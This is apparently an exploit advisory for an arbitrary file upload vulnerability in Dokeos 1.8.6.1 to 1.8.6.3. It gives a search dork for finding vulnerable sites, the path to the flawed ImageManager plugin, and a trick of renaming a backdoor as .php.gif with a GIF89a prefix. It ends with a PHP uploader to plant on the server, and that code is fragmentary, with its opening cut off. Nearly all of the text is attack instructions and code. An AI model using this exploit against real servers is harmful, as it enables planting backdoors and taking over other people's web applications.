# Exploit Title: Dokeos 1.8.6.3 and 1.8.6.1- Arbitrary File Upload
# Google Dork: "Plateforme Dokeos 1.8.6.3 " or 1.8.6.1
# Date: 17/09/2019
# Exploit Author: Sohel Yousef Jellyfish security team
# Vendor Homepage: https://www.dokeos.com/
# Software Link: https://www.dokeos.com/
# Version: 1.8.6.3 - 1.8.6.1
# Tested on: kali linux
# CVE : N/A
# go to this dir to upload your file dokeos
1.8.6.3/main/inc/lib/fckeditor/editor/plugins/ImageManager/manager.php
# you can insert and upload files rename your file to bel like
backdoor.php.gif
# and add this GIF89;aGIF89;aGIF89;a before
PHP Test
FILE UPLOAD
';
$tgt_dir = "uploads/";
$tgt_file = $tgt_dir.basename($_FILES['fileToUpload']['name']);
echo "
TARGET FILE= ".$tgt_file;
//$filename = $_FILES['fileToUpload']['name'];
echo "
FILE NAME FROM VARIABLE:- ".$_FILES["fileToUpload"]["name"];
if(isset($_POST['submit']))
{
if(file_exists("uploads/".$_FILES["fileToUpload"]["name"]))
{ echo "
file exists, try with another name"; }
else {
echo "
STARTING UPLOAD PROCESS
";
if (move_uploaded_file($_FILES["fileToUpload"]["tmp_name"],
$tgt_file))
{ echo "
File UPLOADED:- ".$tgt_file; }
else { echo "
ERROR WHILE UPLOADING FILE
"; }
}
}
?>